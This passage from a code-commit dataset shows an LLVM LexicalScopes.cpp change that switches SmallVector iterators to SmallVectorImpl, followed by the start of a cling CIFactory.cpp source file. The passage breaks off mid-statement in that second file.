{\n      InsnRange R(RangeBeginMI, PrevMI);\n      MIRanges.push_back(R);\n      MI2ScopeMap[RangeBeginMI] = getOrCreateLexicalScope(PrevDL);\n    }\n  }\n}\n\n\/\/\/ findLexicalScope - Find lexical scope, either regular or inlined, for the\n\/\/\/ given DebugLoc. Return NULL if not found.\nLexicalScope *LexicalScopes::findLexicalScope(DebugLoc DL) {\n  MDNode *Scope = NULL;\n  MDNode *IA = NULL;\n  DL.getScopeAndInlinedAt(Scope, IA, MF->getFunction()->getContext());\n  if (!Scope) return NULL;\n\n  \/\/ The scope that we were created with could have an extra file - which\n  \/\/ isn't what we care about in this case.\n  DIDescriptor D = DIDescriptor(Scope);\n  if (D.isLexicalBlockFile())\n    Scope = DILexicalBlockFile(Scope).getScope();\n  \n  if (IA)\n    return InlinedLexicalScopeMap.lookup(DebugLoc::getFromDILocation(IA));\n  return LexicalScopeMap.lookup(Scope);\n}\n\n\/\/\/ getOrCreateLexicalScope - Find lexical scope for the given DebugLoc. If\n\/\/\/ not available then create new lexical scope.\nLexicalScope *LexicalScopes::getOrCreateLexicalScope(DebugLoc DL) {\n  MDNode *Scope = NULL;\n  MDNode *InlinedAt = NULL;\n  DL.getScopeAndInlinedAt(Scope, InlinedAt, MF->getFunction()->getContext());\n\n  if (InlinedAt) {\n    \/\/ Create an abstract scope for inlined function.\n    getOrCreateAbstractScope(Scope);\n    \/\/ Create an inlined scope for inlined function.\n    return getOrCreateInlinedScope(Scope, InlinedAt);\n  }\n   \n  return getOrCreateRegularScope(Scope);\n}\n\n\/\/\/ getOrCreateRegularScope - Find or create a regular lexical scope.\nLexicalScope *LexicalScopes::getOrCreateRegularScope(MDNode *Scope) {\n  DIDescriptor D = DIDescriptor(Scope);\n  if (D.isLexicalBlockFile()) {\n    Scope = DILexicalBlockFile(Scope).getScope();\n    D = DIDescriptor(Scope);\n  }\n \n  LexicalScope *WScope = LexicalScopeMap.lookup(Scope);\n  if (WScope)\n    return WScope;\n\n  LexicalScope *Parent = NULL;\n  if (D.isLexicalBlock())\n    Parent = getOrCreateLexicalScope(DebugLoc::getFromDILexicalBlock(Scope));\n  WScope = new LexicalScope(Parent, DIDescriptor(Scope), NULL, false);\n  LexicalScopeMap.insert(std::make_pair(Scope, WScope));\n  if (!Parent && DIDescriptor(Scope).isSubprogram()\n      && DISubprogram(Scope).describes(MF->getFunction()))\n    CurrentFnLexicalScope = WScope;\n  \n  return WScope;\n}\n\n\/\/\/ getOrCreateInlinedScope - Find or create an inlined lexical scope.\nLexicalScope *LexicalScopes::getOrCreateInlinedScope(MDNode *Scope, \n                                                     MDNode *InlinedAt) {\n  LexicalScope *InlinedScope = LexicalScopeMap.lookup(InlinedAt);\n  if (InlinedScope)\n    return InlinedScope;\n\n  DebugLoc InlinedLoc = DebugLoc::getFromDILocation(InlinedAt);\n  InlinedScope = new LexicalScope(getOrCreateLexicalScope(InlinedLoc),\n                                  DIDescriptor(Scope), InlinedAt, false);\n  InlinedLexicalScopeMap[InlinedLoc] = InlinedScope;\n  LexicalScopeMap[InlinedAt] = InlinedScope;\n  return InlinedScope;\n}\n\n\/\/\/ getOrCreateAbstractScope - Find or create an abstract lexical scope.\nLexicalScope *LexicalScopes::getOrCreateAbstractScope(const MDNode *N) {\n  assert(N && \"Invalid Scope encoding!\");\n\n  DIDescriptor Scope(N);\n  if (Scope.isLexicalBlockFile())\n    Scope = DILexicalBlockFile(Scope).getScope();\n  LexicalScope *AScope = AbstractScopeMap.lookup(N);\n  if (AScope)\n    return AScope;\n\n  LexicalScope *Parent = NULL;\n  if (Scope.isLexicalBlock()) {\n    DILexicalBlock DB(N);\n    DIDescriptor ParentDesc = DB.getContext();\n    Parent = getOrCreateAbstractScope(ParentDesc);\n  }\n  AScope = new LexicalScope(Parent, DIDescriptor(N), NULL, true);\n  AbstractScopeMap[N] = AScope;\n  if (DIDescriptor(N).isSubprogram())\n    AbstractScopesList.push_back(AScope);\n  return AScope;\n}\n\n\/\/\/ constructScopeNest\nvoid LexicalScopes::constructScopeNest(LexicalScope *Scope) {\n  assert (Scope && \"Unable to calculate scop edominance graph!\");\n  SmallVector<LexicalScope *, 4> WorkStack;\n  WorkStack.push_back(Scope);\n  unsigned Counter = 0;\n  while (!WorkStack.empty()) {\n    LexicalScope *WS = WorkStack.back();\n    const SmallVectorImpl<LexicalScope *> &Children = WS->getChildren();\n    bool visitedChildren = false;\n    for (SmallVector<LexicalScope *, 4>::const_iterator SI = Children.begin(),\n           SE = Children.end(); SI != SE; ++SI) {\n      LexicalScope *ChildScope = *SI;\n      if (!ChildScope->getDFSOut()) {\n        WorkStack.push_back(ChildScope);\n        visitedChildren = true;\n        ChildScope->setDFSIn(++Counter);\n        break;\n      }\n    }\n    if (!visitedChildren) {\n      WorkStack.pop_back();\n      WS->setDFSOut(++Counter);\n    }\n  }\n}\n\n\/\/\/ assignInstructionRanges - Find ranges of instructions covered by each\n\/\/\/ lexical scope.\nvoid LexicalScopes::\nassignInstructionRanges(SmallVectorImpl<InsnRange> &MIRanges,\n                    DenseMap<const MachineInstr *, LexicalScope *> &MI2ScopeMap)\n{\n  \n  LexicalScope *PrevLexicalScope = NULL;\n  for (SmallVectorImpl<InsnRange>::const_iterator RI = MIRanges.begin(),\n         RE = MIRanges.end(); RI != RE; ++RI) {\n    const InsnRange &R = *RI;\n    LexicalScope *S = MI2ScopeMap.lookup(R.first);\n    assert (S && \"Lost LexicalScope for a machine instruction!\");\n    if (PrevLexicalScope && !PrevLexicalScope->dominates(S))\n      PrevLexicalScope->closeInsnRange(S);\n    S->openInsnRange(R.first);\n    S->extendInsnRange(R.second);\n    PrevLexicalScope = S;\n  }\n\n  if (PrevLexicalScope)\n    PrevLexicalScope->closeInsnRange();\n}\n\n\/\/\/ getMachineBasicBlocks - Populate given set using machine basic blocks which\n\/\/\/ have machine instructions that belong to lexical scope identified by \n\/\/\/ DebugLoc.\nvoid LexicalScopes::\ngetMachineBasicBlocks(DebugLoc DL, \n                      SmallPtrSet<const MachineBasicBlock*, 4> &MBBs) {\n  MBBs.clear();\n  LexicalScope *Scope = getOrCreateLexicalScope(DL);\n  if (!Scope)\n    return;\n  \n  if (Scope == CurrentFnLexicalScope) {\n    for (MachineFunction::const_iterator I = MF->begin(), E = MF->end();\n         I != E; ++I)\n      MBBs.insert(I);\n    return;\n  }\n\n  SmallVectorImpl<InsnRange> &InsnRanges = Scope->getRanges();\n  for (SmallVector<InsnRange, 4>::iterator I = InsnRanges.begin(),\n         E = InsnRanges.end(); I != E; ++I) {\n    InsnRange &R = *I;\n    MBBs.insert(R.first->getParent());\n  }\n}\n\n\/\/\/ dominates - Return true if DebugLoc's lexical scope dominates at least one\n\/\/\/ machine instruction's lexical scope in a given machine basic block.\nbool LexicalScopes::dominates(DebugLoc DL, MachineBasicBlock *MBB) {\n  LexicalScope *Scope = getOrCreateLexicalScope(DL);\n  if (!Scope)\n    return false;\n\n  \/\/ Current function scope covers all basic blocks in the function.\n  if (Scope == CurrentFnLexicalScope && MBB->getParent() == MF)\n    return true;\n\n  bool Result = false;\n  for (MachineBasicBlock::iterator I = MBB->begin(), E = MBB->end();\n       I != E; ++I) {\n    DebugLoc IDL = I->getDebugLoc();\n    if (IDL.isUnknown())\n      continue;\n    if (LexicalScope *IScope = getOrCreateLexicalScope(IDL))\n      if (Scope->dominates(IScope))\n        return true;\n  }\n  return Result;\n}\n\nvoid LexicalScope::anchor() { }\n\n\/\/\/ dump - Print data structures.\nvoid LexicalScope::dump(unsigned Indent) const {\n#ifndef NDEBUG\n  raw_ostream &err = dbgs();\n  err.indent(Indent);\n  err << \"DFSIn: \" << DFSIn << \" DFSOut: \" << DFSOut << \"\\n\";\n  const MDNode *N = Desc;\n  err.indent(Indent);\n  N->dump();\n  if (AbstractScope)\n    err << std::string(Indent, ' ') << \"Abstract Scope\\n\";\n\n  if (!Children.empty())\n    err << std::string(Indent + 2, ' ') << \"Children ...\\n\";\n  for (unsigned i = 0, e = Children.size(); i != e; ++i)\n    if (Children[i] != this)\n      Children[i]->dump(Indent + 2);\n#endif\n}\n\n<commit_msg>Use SmallVectorImpl::iterator\/const_iterator instead of SmallVector to avoid specifying the vector size.<commit_after>\/\/===- LexicalScopes.cpp - Collecting lexical scope info ------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements LexicalScopes analysis.\n\/\/\n\/\/ This pass collects lexical scope information and maps machine instructions\n\/\/ to respective lexical scopes.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#define DEBUG_TYPE \"lexicalscopes\"\n#include \"llvm\/CodeGen\/LexicalScopes.h\"\n#include \"llvm\/CodeGen\/MachineFunction.h\"\n#include \"llvm\/CodeGen\/MachineInstr.h\"\n#include \"llvm\/DebugInfo.h\"\n#include \"llvm\/IR\/Function.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/ErrorHandling.h\"\n#include \"llvm\/Support\/FormattedStream.h\"\nusing namespace llvm;\n\nLexicalScopes::~LexicalScopes() {\n  releaseMemory();\n}\n\n\/\/\/ releaseMemory - release memory.\nvoid LexicalScopes::releaseMemory() {\n  MF = NULL;\n  CurrentFnLexicalScope = NULL;\n  DeleteContainerSeconds(LexicalScopeMap);\n  DeleteContainerSeconds(AbstractScopeMap);\n  InlinedLexicalScopeMap.clear();\n  AbstractScopesList.clear();\n}\n\n\/\/\/ initialize - Scan machine function and constuct lexical scope nest.\nvoid LexicalScopes::initialize(const MachineFunction &Fn) {\n  releaseMemory();\n  MF = &Fn;\n  SmallVector<InsnRange, 4> MIRanges;\n  DenseMap<const MachineInstr *, LexicalScope *> MI2ScopeMap;\n  extractLexicalScopes(MIRanges, MI2ScopeMap);\n  if (CurrentFnLexicalScope) {\n    constructScopeNest(CurrentFnLexicalScope);\n    assignInstructionRanges(MIRanges, MI2ScopeMap);\n  }\n}\n\n\/\/\/ extractLexicalScopes - Extract instruction ranges for each lexical scopes\n\/\/\/ for the given machine function.\nvoid LexicalScopes::\nextractLexicalScopes(SmallVectorImpl<InsnRange> &MIRanges,\n                  DenseMap<const MachineInstr *, LexicalScope *> &MI2ScopeMap) {\n\n  \/\/ Scan each instruction and create scopes. First build working set of scopes.\n  for (MachineFunction::const_iterator I = MF->begin(), E = MF->end();\n       I != E; ++I) {\n    const MachineInstr *RangeBeginMI = NULL;\n    const MachineInstr *PrevMI = NULL;\n    DebugLoc PrevDL;\n    for (MachineBasicBlock::const_iterator II = I->begin(), IE = I->end();\n         II != IE; ++II) {\n      const MachineInstr *MInsn = II;\n\n      \/\/ Check if instruction has valid location information.\n      const DebugLoc MIDL = MInsn->getDebugLoc();\n      if (MIDL.isUnknown()) {\n        PrevMI = MInsn;\n        continue;\n      }\n\n      \/\/ If scope has not changed then skip this instruction.\n      if (MIDL == PrevDL) {\n        PrevMI = MInsn;\n        continue;\n      }\n\n      \/\/ Ignore DBG_VALUE. It does not contribute to any instruction in output.\n      if (MInsn->isDebugValue())\n        continue;\n\n      if (RangeBeginMI) {\n        \/\/ If we have already seen a beginning of an instruction range and\n        \/\/ current instruction scope does not match scope of first instruction\n        \/\/ in this range then create a new instruction range.\n        InsnRange R(RangeBeginMI, PrevMI);\n        MI2ScopeMap[RangeBeginMI] = getOrCreateLexicalScope(PrevDL);\n        MIRanges.push_back(R);\n      }\n\n      \/\/ This is a beginning of a new instruction range.\n      RangeBeginMI = MInsn;\n\n      \/\/ Reset previous markers.\n      PrevMI = MInsn;\n      PrevDL = MIDL;\n    }\n\n    \/\/ Create last instruction range.\n    if (RangeBeginMI && PrevMI && !PrevDL.isUnknown()) {\n      InsnRange R(RangeBeginMI, PrevMI);\n      MIRanges.push_back(R);\n      MI2ScopeMap[RangeBeginMI] = getOrCreateLexicalScope(PrevDL);\n    }\n  }\n}\n\n\/\/\/ findLexicalScope - Find lexical scope, either regular or inlined, for the\n\/\/\/ given DebugLoc. Return NULL if not found.\nLexicalScope *LexicalScopes::findLexicalScope(DebugLoc DL) {\n  MDNode *Scope = NULL;\n  MDNode *IA = NULL;\n  DL.getScopeAndInlinedAt(Scope, IA, MF->getFunction()->getContext());\n  if (!Scope) return NULL;\n\n  \/\/ The scope that we were created with could have an extra file - which\n  \/\/ isn't what we care about in this case.\n  DIDescriptor D = DIDescriptor(Scope);\n  if (D.isLexicalBlockFile())\n    Scope = DILexicalBlockFile(Scope).getScope();\n  \n  if (IA)\n    return InlinedLexicalScopeMap.lookup(DebugLoc::getFromDILocation(IA));\n  return LexicalScopeMap.lookup(Scope);\n}\n\n\/\/\/ getOrCreateLexicalScope - Find lexical scope for the given DebugLoc. If\n\/\/\/ not available then create new lexical scope.\nLexicalScope *LexicalScopes::getOrCreateLexicalScope(DebugLoc DL) {\n  MDNode *Scope = NULL;\n  MDNode *InlinedAt = NULL;\n  DL.getScopeAndInlinedAt(Scope, InlinedAt, MF->getFunction()->getContext());\n\n  if (InlinedAt) {\n    \/\/ Create an abstract scope for inlined function.\n    getOrCreateAbstractScope(Scope);\n    \/\/ Create an inlined scope for inlined function.\n    return getOrCreateInlinedScope(Scope, InlinedAt);\n  }\n   \n  return getOrCreateRegularScope(Scope);\n}\n\n\/\/\/ getOrCreateRegularScope - Find or create a regular lexical scope.\nLexicalScope *LexicalScopes::getOrCreateRegularScope(MDNode *Scope) {\n  DIDescriptor D = DIDescriptor(Scope);\n  if (D.isLexicalBlockFile()) {\n    Scope = DILexicalBlockFile(Scope).getScope();\n    D = DIDescriptor(Scope);\n  }\n \n  LexicalScope *WScope = LexicalScopeMap.lookup(Scope);\n  if (WScope)\n    return WScope;\n\n  LexicalScope *Parent = NULL;\n  if (D.isLexicalBlock())\n    Parent = getOrCreateLexicalScope(DebugLoc::getFromDILexicalBlock(Scope));\n  WScope = new LexicalScope(Parent, DIDescriptor(Scope), NULL, false);\n  LexicalScopeMap.insert(std::make_pair(Scope, WScope));\n  if (!Parent && DIDescriptor(Scope).isSubprogram()\n      && DISubprogram(Scope).describes(MF->getFunction()))\n    CurrentFnLexicalScope = WScope;\n  \n  return WScope;\n}\n\n\/\/\/ getOrCreateInlinedScope - Find or create an inlined lexical scope.\nLexicalScope *LexicalScopes::getOrCreateInlinedScope(MDNode *Scope, \n                                                     MDNode *InlinedAt) {\n  LexicalScope *InlinedScope = LexicalScopeMap.lookup(InlinedAt);\n  if (InlinedScope)\n    return InlinedScope;\n\n  DebugLoc InlinedLoc = DebugLoc::getFromDILocation(InlinedAt);\n  InlinedScope = new LexicalScope(getOrCreateLexicalScope(InlinedLoc),\n                                  DIDescriptor(Scope), InlinedAt, false);\n  InlinedLexicalScopeMap[InlinedLoc] = InlinedScope;\n  LexicalScopeMap[InlinedAt] = InlinedScope;\n  return InlinedScope;\n}\n\n\/\/\/ getOrCreateAbstractScope - Find or create an abstract lexical scope.\nLexicalScope *LexicalScopes::getOrCreateAbstractScope(const MDNode *N) {\n  assert(N && \"Invalid Scope encoding!\");\n\n  DIDescriptor Scope(N);\n  if (Scope.isLexicalBlockFile())\n    Scope = DILexicalBlockFile(Scope).getScope();\n  LexicalScope *AScope = AbstractScopeMap.lookup(N);\n  if (AScope)\n    return AScope;\n\n  LexicalScope *Parent = NULL;\n  if (Scope.isLexicalBlock()) {\n    DILexicalBlock DB(N);\n    DIDescriptor ParentDesc = DB.getContext();\n    Parent = getOrCreateAbstractScope(ParentDesc);\n  }\n  AScope = new LexicalScope(Parent, DIDescriptor(N), NULL, true);\n  AbstractScopeMap[N] = AScope;\n  if (DIDescriptor(N).isSubprogram())\n    AbstractScopesList.push_back(AScope);\n  return AScope;\n}\n\n\/\/\/ constructScopeNest\nvoid LexicalScopes::constructScopeNest(LexicalScope *Scope) {\n  assert (Scope && \"Unable to calculate scop edominance graph!\");\n  SmallVector<LexicalScope *, 4> WorkStack;\n  WorkStack.push_back(Scope);\n  unsigned Counter = 0;\n  while (!WorkStack.empty()) {\n    LexicalScope *WS = WorkStack.back();\n    const SmallVectorImpl<LexicalScope *> &Children = WS->getChildren();\n    bool visitedChildren = false;\n    for (SmallVectorImpl<LexicalScope *>::const_iterator SI = Children.begin(),\n           SE = Children.end(); SI != SE; ++SI) {\n      LexicalScope *ChildScope = *SI;\n      if (!ChildScope->getDFSOut()) {\n        WorkStack.push_back(ChildScope);\n        visitedChildren = true;\n        ChildScope->setDFSIn(++Counter);\n        break;\n      }\n    }\n    if (!visitedChildren) {\n      WorkStack.pop_back();\n      WS->setDFSOut(++Counter);\n    }\n  }\n}\n\n\/\/\/ assignInstructionRanges - Find ranges of instructions covered by each\n\/\/\/ lexical scope.\nvoid LexicalScopes::\nassignInstructionRanges(SmallVectorImpl<InsnRange> &MIRanges,\n                    DenseMap<const MachineInstr *, LexicalScope *> &MI2ScopeMap)\n{\n  \n  LexicalScope *PrevLexicalScope = NULL;\n  for (SmallVectorImpl<InsnRange>::const_iterator RI = MIRanges.begin(),\n         RE = MIRanges.end(); RI != RE; ++RI) {\n    const InsnRange &R = *RI;\n    LexicalScope *S = MI2ScopeMap.lookup(R.first);\n    assert (S && \"Lost LexicalScope for a machine instruction!\");\n    if (PrevLexicalScope && !PrevLexicalScope->dominates(S))\n      PrevLexicalScope->closeInsnRange(S);\n    S->openInsnRange(R.first);\n    S->extendInsnRange(R.second);\n    PrevLexicalScope = S;\n  }\n\n  if (PrevLexicalScope)\n    PrevLexicalScope->closeInsnRange();\n}\n\n\/\/\/ getMachineBasicBlocks - Populate given set using machine basic blocks which\n\/\/\/ have machine instructions that belong to lexical scope identified by \n\/\/\/ DebugLoc.\nvoid LexicalScopes::\ngetMachineBasicBlocks(DebugLoc DL, \n                      SmallPtrSet<const MachineBasicBlock*, 4> &MBBs) {\n  MBBs.clear();\n  LexicalScope *Scope = getOrCreateLexicalScope(DL);\n  if (!Scope)\n    return;\n  \n  if (Scope == CurrentFnLexicalScope) {\n    for (MachineFunction::const_iterator I = MF->begin(), E = MF->end();\n         I != E; ++I)\n      MBBs.insert(I);\n    return;\n  }\n\n  SmallVectorImpl<InsnRange> &InsnRanges = Scope->getRanges();\n  for (SmallVectorImpl<InsnRange>::iterator I = InsnRanges.begin(),\n         E = InsnRanges.end(); I != E; ++I) {\n    InsnRange &R = *I;\n    MBBs.insert(R.first->getParent());\n  }\n}\n\n\/\/\/ dominates - Return true if DebugLoc's lexical scope dominates at least one\n\/\/\/ machine instruction's lexical scope in a given machine basic block.\nbool LexicalScopes::dominates(DebugLoc DL, MachineBasicBlock *MBB) {\n  LexicalScope *Scope = getOrCreateLexicalScope(DL);\n  if (!Scope)\n    return false;\n\n  \/\/ Current function scope covers all basic blocks in the function.\n  if (Scope == CurrentFnLexicalScope && MBB->getParent() == MF)\n    return true;\n\n  bool Result = false;\n  for (MachineBasicBlock::iterator I = MBB->begin(), E = MBB->end();\n       I != E; ++I) {\n    DebugLoc IDL = I->getDebugLoc();\n    if (IDL.isUnknown())\n      continue;\n    if (LexicalScope *IScope = getOrCreateLexicalScope(IDL))\n      if (Scope->dominates(IScope))\n        return true;\n  }\n  return Result;\n}\n\nvoid LexicalScope::anchor() { }\n\n\/\/\/ dump - Print data structures.\nvoid LexicalScope::dump(unsigned Indent) const {\n#ifndef NDEBUG\n  raw_ostream &err = dbgs();\n  err.indent(Indent);\n  err << \"DFSIn: \" << DFSIn << \" DFSOut: \" << DFSOut << \"\\n\";\n  const MDNode *N = Desc;\n  err.indent(Indent);\n  N->dump();\n  if (AbstractScope)\n    err << std::string(Indent, ' ') << \"Abstract Scope\\n\";\n\n  if (!Children.empty())\n    err << std::string(Indent + 2, ' ') << \"Children ...\\n\";\n  for (unsigned i = 0, e = Children.size(); i != e; ++i)\n    if (Children[i] != this)\n      Children[i]->dump(Indent + 2);\n#endif\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author:  Axel Naumann <axel@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#include \"cling\/Interpreter\/CIFactory.h\"\n\n#include \"DeclCollector.h\"\n\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/Basic\/TargetInfo.h\"\n#include \"clang\/Basic\/Version.h\"\n#include \"clang\/Driver\/ArgList.h\"\n#include \"clang\/Driver\/Compilation.h\"\n#include \"clang\/Driver\/Driver.h\"\n#include \"clang\/Driver\/Job.h\"\n#include \"clang\/Driver\/Tool.h\"\n#include \"clang\/Frontend\/TextDiagnosticPrinter.h\"\n#include \"clang\/Lex\/Preprocessor.h\"\n\n#include \"llvm\/IR\/LLVMContext.h\"\n#include \"llvm\/Target\/TargetOptions.h\"\n#include \"llvm\/Support\/Host.h\"\n#include \"llvm\/Support\/TargetSelect.h\"\n#include \"llvm\/Support\/MemoryBuffer.h\"\n#include \"llvm\/Support\/Path.h\"\n#include \"llvm\/Support\/Process.h\"\n\n#include <ctime>\n\nusing namespace clang;\n\nnamespace cling {\n  \/\/\n  \/\/  Dummy function so we can use dladdr to find the executable path.\n  \/\/\n  void locate_cling_executable()\n  {\n  }\n\n  \/\/\/ \\brief Retrieves the clang CC1 specific flags out of the compilation's\n  \/\/\/ jobs. Returns NULL on error.\n  static const clang::driver::ArgStringList\n  *GetCC1Arguments(clang::DiagnosticsEngine *Diagnostics,\n                   clang::driver::Compilation *Compilation) {\n    \/\/ We expect to get back exactly one Command job, if we didn't something\n    \/\/ failed. Extract that job from the Compilation.\n    const clang::driver::JobList &Jobs = Compilation->getJobs();\n    if (!Jobs.size() || !isa<clang::driver::Command>(*Jobs.begin())) {\n      \/\/ diagnose this...\n      return NULL;\n    }\n\n    \/\/ The one job we find should be to invoke clang again.\n    const clang::driver::Command *Cmd\n      = cast<clang::driver::Command>(*Jobs.begin());\n    if (llvm::StringRef(Cmd->getCreator().getName()) != \"clang\") {\n      \/\/ diagnose this...\n      return NULL;\n    }\n\n    return &Cmd->getArguments();\n  }\n\n  CompilerInstance* CIFactory::createCI(llvm::StringRef code,\n                                        int argc,\n                                        const char* const *argv,\n                                        const char* llvmdir) {\n    return createCI(llvm::MemoryBuffer::getMemBuffer(code), argc, argv,\n                    llvmdir);\n  }\n\n  CompilerInstance* CIFactory::createCI(llvm::MemoryBuffer* buffer,\n                                        int argc,\n                                        const char* const *argv,\n                                        const char* llvmdir) {\n    \/\/ Create an instance builder, passing the llvmdir and arguments.\n    \/\/\n    \/\/  Initialize the llvm library.\n    llvm::InitializeNativeTarget();\n    llvm::InitializeAllAsmPrinters();\n    llvm::sys::Path resource_path;\n    if (llvmdir) {\n      resource_path = llvmdir;\n      resource_path.appendComponent(\"lib\");\n      resource_path.appendComponent(\"clang\");\n      resource_path.appendComponent(CLANG_VERSION_STRING);\n    } else {\n      \/\/ FIXME: The first arg really does need to be argv[0] on FreeBSD.\n      \/\/\n      \/\/ Note: The second arg is not used for Apple, FreeBSD, Linux,\n      \/\/       or cygwin, and can only be used on systems which support\n      \/\/       the use of dladdr().\n      \/\/\n      \/\/ Note: On linux and cygwin this uses \/proc\/self\/exe to find the path.\n      \/\/\n      \/\/ Note: On Apple it uses _NSGetExecutablePath().\n      \/\/\n      \/\/ Note: On FreeBSD it uses getprogpath().\n      \/\/\n      \/\/ Note: Otherwise it uses dladdr().\n      \/\/\n      resource_path\n        = CompilerInvocation::GetResourcesPath(\"cling\",\n                                       (void*)(intptr_t) locate_cling_executable\n                                               );\n    }\n    if (!resource_path.canRead()) {\n      llvm::errs()\n        << \"ERROR in cling::CIFactory::createCI():\\n  resource directory \"\n        << resource_path.str() << \" not found!\\n\";\n      resource_path = \"\";\n    }\n\n    \/\/______________________________________\n    DiagnosticOptions* DefaultDiagnosticOptions = new DiagnosticOptions();\n    DefaultDiagnosticOptions->ShowColors = llvm::sys::Process::StandardErrHasColors() ? 1 : 0;\n    TextDiagnosticPrinter* DiagnosticPrinter\n      = new TextDiagnosticPrinter(llvm::errs(), DefaultDiagnosticOptions);\n    llvm::IntrusiveRefCntPtr<clang::DiagnosticIDs> DiagIDs(new DiagnosticIDs());\n    DiagnosticsEngine* Diagnostics\n      = new DiagnosticsEngine(DiagIDs, DefaultDiagnosticOptions,\n                              DiagnosticPrinter, \/*Owns it*\/ true); \/\/ LEAKS!\n\n    std::vector<const char*> argvCompile(argv, argv + argc);\n    \/\/ We do C++ by default; append right after argv[0] name\n    \/\/ Only insert it if there is no other \"-x\":\n    bool haveMinusX = false;\n    for (const char* const* iarg = argv; !haveMinusX && iarg < argv + argc;\n         ++iarg) {\n      haveMinusX = !strcmp(*iarg, \"-x\");\n    }\n    if (!haveMinusX) {\n      argvCompile.insert(argvCompile.begin() + 1,\"-x\");\n      argvCompile.insert(argvCompile.begin() + 2, \"c++\");\n    }\n    argvCompile.push_back(\"-c\");\n    argvCompile.push_back(\"-\");\n\n    clang::driver::Driver Driver(argv[0], llvm::sys::getDefaultTargetTriple(),\n                                 \"cling.out\",\n                                 *Diagnostics);\n    \/\/Driver.setWarnMissingInput(false);\n    Driver.setCheckInputsExist(false); \/\/ think foo.C(12)\n    llvm::ArrayRef<const char*>RF(&(argvCompile[0]), argvCompile.size());\n    llvm::OwningPtr<clang::driver::Compilation>\n      Compilation(Driver.BuildCompilation(RF));\n    const clang::driver::ArgStringList* CC1Args\n      = GetCC1Arguments(Diagnostics, Compilation.get());\n    if (CC1Args == NULL) {\n      return 0;\n    }\n    clang::CompilerInvocation*\n      Invocation = new clang::CompilerInvocation;\n    clang::CompilerInvocation::CreateFromArgs(*Invocation, CC1Args->data() + 1,\n                                              CC1Args->data() + CC1Args->size(),\n                                              *Diagnostics);\n    Invocation->getFrontendOpts().DisableFree = true;\n\n    if (Invocation->getHeaderSearchOpts().UseBuiltinIncludes &&\n        !resource_path.empty()) {\n      \/\/ Update ResourceDir\n      \/\/ header search opts' entry for resource_path\/include isn't\n      \/\/ updated by providing a new resource path; update it manually.\n      clang::HeaderSearchOptions& Opts = Invocation->getHeaderSearchOpts();\n      llvm::sys::Path oldResInc(Opts.ResourceDir);\n      oldResInc.appendComponent(\"include\");\n      llvm::sys::Path newResInc(resource_path);\n      newResInc.appendComponent(\"include\");\n      bool foundOldResInc = false;\n      for (unsigned i = 0, e = Opts.UserEntries.size();\n           !foundOldResInc && i != e; ++i) {\n        HeaderSearchOptions::Entry &E = Opts.UserEntries[i];\n        if (!E.IsFramework && E.Group == clang::frontend::System\n            && E.IgnoreSysRoot && oldResInc.str() == E.Path) {\n          E.Path = newResInc.str();\n          foundOldResInc = true;\n        }\n      }\n\n      Opts.ResourceDir = resource_path.str();\n    }\n\n    \/\/ Create and setup a compiler instance.\n    CompilerInstance* CI = new CompilerInstance();\n    CI->setInvocation(Invocation);\n\n    CI->createDiagnostics(DiagnosticPrinter, \/*ShouldOwnClient=*\/ false,\n                          \/*ShouldCloneClient=*\/ false);\n    {\n      \/\/\n      \/\/  Buffer the error messages while we process\n      \/\/  the compiler options.\n      \/\/\n\n      \/\/ Set the language options, which cling needs\n      SetClingCustomLangOpts(CI->getLangOpts());\n\n      CI->getInvocation().getPreprocessorOpts().addMacroDef(\"__CLING__\");\n      if (CI->getLangOpts().CPlusPlus11 == 1) {\n        \/\/ http:\/\/llvm.org\/bugs\/show_bug.cgi?id=13530\n        CI->getInvocation().getPreprocessorOpts()\n          .addMacroDef(\"__CLING__CXX11\");\n      }\n\n      if (CI->getDiagnostics().hasErrorOccurred()) {\n        delete CI;\n        CI = 0;\n        return 0;\n      }\n    }\n    CI->setTarget(TargetInfo::CreateTargetInfo(CI->getDiagnostics(),\n                                               &Invocation->getTargetOpts()));\n    if (!CI->hasTarget()) {\n      delete CI;\n      CI = 0;\n      return 0;\n    }\n    CI->getTarget().setForcedLangOptions(CI->getLangOpts());\n    SetClingTargetLangOpts(CI->getLangOpts(), CI->getTarget());\n    if (CI->getTarget().getTriple().getOS() == llvm::Triple::Cygwin) {\n      \/\/ clang \"forgets\" the basic arch part needed by winnt.h:\n      if (CI->getTarget().getTriple().getArch() == llvm::Triple::x86) {\n        CI->getInvocation().getPreprocessorOpts().addMacroDef(\"_X86_=1\");\n      } else if (CI->getTarget().getTriple().getArch()\n                 == llvm::Triple::x86_64) {\n        CI->getInvocation().getPreprocessorOpts().addMacroDef(\"__x86_64=1\");\n      } else {\n        llvm::errs() << \"Warning: unhandled target architecture \"\n                     << CI->getTarget().getTriple().getArchName() << '\\n';\n      }\n    }\n\n    \/\/ Set up source and file managers\n    CI->createFileManager();\n    CI->createSourceManager(CI->getFileManager());\n\n    \/\/ Set up the memory buffer\n    if (buffer)\n      CI->getSourceManager().createMainFileIDForMemBuffer(buffer);\n    else {\n      \/\/ As main file we want\n      \/\/ * a virtual file that is claiming to be huge \n      \/\/ * with an empty memory buffer attached (to bring the content)\n      SourceManager& SM = CI->getSourceManager();\n      FileManager& FM = SM.getFileManager();\n      \/\/ Build the virtual file\n      const char* Filename = \"InteractiveInputLineIncluder.h\";\n      const std::string& CGOptsMainFileName\n        = CI->getInvocation().getCodeGenOpts().MainFileName;\n      if (!CGOptsMainFileName.empty())\n        Filename = CGOptsMainFileName.c_str();\n      const FileEntry* FE\n        = FM.getVirtualFile(Filename, 1U << 15U, time(0));\n      FileID MainFileID = SM.createMainFileID(FE, SrcMgr::C_User);\n      const SrcMgr::SLocEntry& MainFileSLocE = SM.getSLocEntry(MainFileID);\n      const SrcMgr::ContentCache* MainFileCC\n        = MainFileSLocE.getFile().getContentCache();\n      llvm::MemoryBuffer* MainFileMB\n        = 